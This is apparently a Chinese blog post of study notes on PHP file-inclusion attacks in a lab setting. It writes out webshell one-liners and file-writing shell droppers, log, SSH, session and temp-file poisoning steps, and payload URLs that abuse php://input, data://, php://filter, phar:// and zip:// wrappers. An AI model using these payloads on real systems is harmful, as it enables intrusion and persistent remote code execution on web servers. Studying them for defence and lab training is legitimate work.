当前位置: 首页 > news >正文

PET-文件包含

include发生错误报warning,继续执行。require发生错误直接error,不继续执行

无视扩展名,只要能解析,就能当可执行文件执行,哪怕文件后缀或没后缀

1  条件竞争  pass17  只需要知道tmp的路径。把xieshell.jpg上传,抓包反复上传。文件包含xieshell.jpg,如果成功了会生成shell.php(与包含的页面同路径).

<?php fputs(fopen("./shelln.php","w"),'<?php @eval($_POST[cmd]);?>')?>

2 读文件

3  解析.jpg  前提是知道文件名

也可以解析xieshell.php,会在与当前页面同路径下生成shell,如下图,还是会在BaoHan.php的同路径下生成shell

4 包含日志文件,需要知道文件路径。XAMPP的日志的默认路径:c:/xampp2/apache/logs/error.log     Linux:/var/log/apache2//var/log/httpd/中error_logerror.log

首先随意抓包,GET部分写一句话  <?php @eval($_POST[123]);?>

之后日志中出现错误信息

但蚁剑连不上

推测的原因是日志内容太多。为了验证,将error.log复制为error3.log,仍然连不上,但把一句话所在错误粘到日志前面几行就可以连接。

5  包含ssh文件    ssh  root@1.1.1.1  可以把root改为一句话

SSH日志Getshell

利用条件:需要知道ssh-log的位置,且可读。默认情况下为 /var/log/auth.log

用ssh连接

ubuntu:~$ ssh '<?php phpinfo(); ?>'@remotehost
包含FTP日志

利用条件:将用户名填写成PHP代码

8   包含临时文件

利用条件:上传文件,会创建临时文件。在临时文件被删除之前,利用竞争即可包含该临时文件。

由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。

7   包含session文件。

通过phpinfo的信息可以获取到session的存储位置。

通过phpinfo的信息,获取到session.save_path为C:\XAMPP2\tmp。

通过猜测默认的session存放位置进行尝试。

linux下默认存储在/var/lib/php/session

php的session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。【如果找不到清除所有的cookie】

先到session页面下,ctfs传值会写到session文件中,

http://192.168.100.200/baohan/session.php?ctfs=<?php fputs(fopen("./shell123.php","w"),'<?php @eval($_POST[cmd]);?>')?>

F12可以获取sessionid,则拼接为session文件名  sess_nqn4jjhe0em9i0dc9lari29k61

验证一下

然后到包含页面包含session文件

在baohan目录下生成shell123.php

8  file协议   有时候不带file也行,需要试

9  php://input    post传值  这里直接执行写文件,shella保存在页面同路径下

10   反向shell   脚本不给,代码在RCE

11   姿势1      data://text/plain,

姿势2      ?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b      把命令转成base64    再把+转为URL

12    filter      文件包含读不出来,file读不出来。可能是文件内容有敏感字符。

?page=php://filter/read=convert.base64-encode/resource=c:/key.cisp

13 phar://     先把phpinfo.txt压缩为.zip, 再重命名为1.jpg   放在靶机1 C:\XAMPP2\htdocs\baohan              ?page=phar://1.jpg/phpinfo.txt   可以换成写webshell的代码

也可以把脚本换成wen  

14   zip     ?page=zip://c:/xampp2/htdocs/baohan/1.jpg%23phpinfo.txt    需要绝对路径

http://www.lryc.cn/news/482913.html

相关文章:

  • 实现uniapp-微信小程序 搜索框+上拉加载+下拉刷新
  • PostgreSQL 修改字段类型但是存在视图依赖
  • 基于.NET 9实现实时进度条功能:前后端完整示例教程
  • 力扣 LeetCode 19. 删除链表的倒数第N个结点(Day2:链表)
  • 音频格式转换
  • npm list @types/node 命令用于列出当前项目中 @types/node 包及其依赖关系
  • 【Spring】Spring框架中有有哪些常见的设计模式
  • 提升百度排名的有效策略与技巧解析
  • 【Linux】Linux下查看cpu信息指令(top/mpstat/iostat/pidstat)说明
  • HDLBIts习题(3):使用冒号表示位宽时,冒号两端必须是常量
  • C++20协程详解
  • Chromium 中chrome.system.display扩展接口定义c++
  • 容器docker的ulimit
  • 一、HTML
  • 使用Geekbench6软件对真实和虚拟的苹果桌面系统(macOS)进行打分比较
  • lua入门教程:随机数
  • 华为大咖说 | 浅谈智能运维技术
  • creo toolkit二次开发学习之获取任意选择模型作为元件,并进行获取约束等
  • sanitize-html 防止 XSS(跨站脚本攻击)
  • 【JavaEE】文件io
  • FlinkPipelineComposer 详解
  • 蓝桥杯-洛谷刷题-day2(C++)
  • 16008.行为树(五)-自定义数据指针在黑板中的传递
  • javascript Vue
  • 《揭秘观察者模式:作用与使用场景全解析》
  • 【QT常用技术讲解】优化网络链接不上导致qt、qml界面卡顿的问题
  • 下划线命名json数组转java对象
  • 实测运行容器化Nginx服务器
  • 显示器接口种类 | 附图片
  • C++初阶——list